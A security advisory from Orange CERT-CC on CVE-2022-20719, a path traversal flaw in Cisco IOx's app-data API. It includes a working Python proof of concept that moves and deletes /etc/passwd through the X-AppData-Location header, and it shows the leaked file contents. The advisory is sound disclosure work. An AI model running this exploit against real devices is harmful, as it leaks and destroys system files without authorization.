Cisco IOx - Application Hosting Environment Parameter Injection Vulnerability (CVE-2022-20719)

Moderate **orange-cert-cc** published **GHSA-8v5w-4fhm-gqxj** on Apr 19

Package

IOx (Cisco)

Affected versions	Patched versions
17.3.3	17.3(5)

Description

Overview

Cisco provides an API for IOX. This API provide a way to manage apps datas.

Impact

An authenticated user can leak and remove sensitive file on Linux host system.

Details

The Cisco IOX API provide `iox/api/v2/hosting/apps/{app_id}/appdata/` rest interface.
With POST request it is possible to upload a file on app data directory.
Alternatively it is also possible to move an existing file with `X-AppData-Location` header.
There is nor control neither restriction on this parameter.
It possible to set an absolute path pointing to an other file on the system.

- Warning! The source file will be removed! *

Tested versions

This vulnerability have been tested on Cisco ISR4200.

```
NR-4221-3#show version
Cisco IOS XE Software, Version 17.03.02
Cisco IOS Software [Amsterdam], ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M), Version
17.3.2, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Sat 31-Oct-20 13:21 by mcpre
```

Proof of Concept

- Warning! This exploit remove the /etc/passwd file! *
- Replace the "X-AppData-Location" value if you want a less destructive test*
  Prerequisite: enable iox and activate an app (guestshell for instance)

```
# show run
iox
...
app-hosting appid guestshell
 app-vnic management guest-interface 0
...
```

Then with by requesting the API it is possible to get any file. Here is a small script proving the bug.

```
import requests
import base64

# Please replace it with valid login and password
pwd=base64.b64encode('admin:admin')
headers = {'Authorization': 'Basic '+pwd}
r=requests.post('http://192.168.1.39/iox/api/v2/hosting/tokenservice', headers=headers)

print(r.status_code)
token=r.json()['token']['id']

headers = {'X-AppData-Location': '../../../../../../../etc/passwd',
           'X-Token-Id': token
}

# Warning /etc/passwd will be removed
r=requests.post('http://192.168.1.39/iox/api/v2/hosting/apps/guestshell/appdata/f',
headers=headers)
print(r.status_code)

headers = {'X-Token-Id': token}
r=requests.get('http://192.168.1.39/iox/api/v2/hosting/apps/guestshell/appdata/f',
headers=headers)
print(r.text)
```

The result:

```
200
200
root:*:0:0:root:/root:/bin/bash
binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
messagebus:x:998:997::/var/lib/dbus:/bin/false
avahi:x:997:996::/var/run/avahi-daemon:/bin/false
avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false
guestshell:!:1000:1000::/home/guestshell:
dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin
```

Solution

Recommandations sent to PSIRT

We suggest to:

- apply user input validation
- do a determinist path calculation

Security patch

Upgrade to patched version (see above).

Workaround

There are no workarounds that address this vulnerability.

References

https://nvd.nist.gov/vuln/detail/CVE-2022-20719
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: June 06, 2021
Date fixed: April 13, 2022

Severity

Moderate 5.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	High
Availability	None

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

CVE ID

CVE-2022-20719

Weaknesses

CWE-250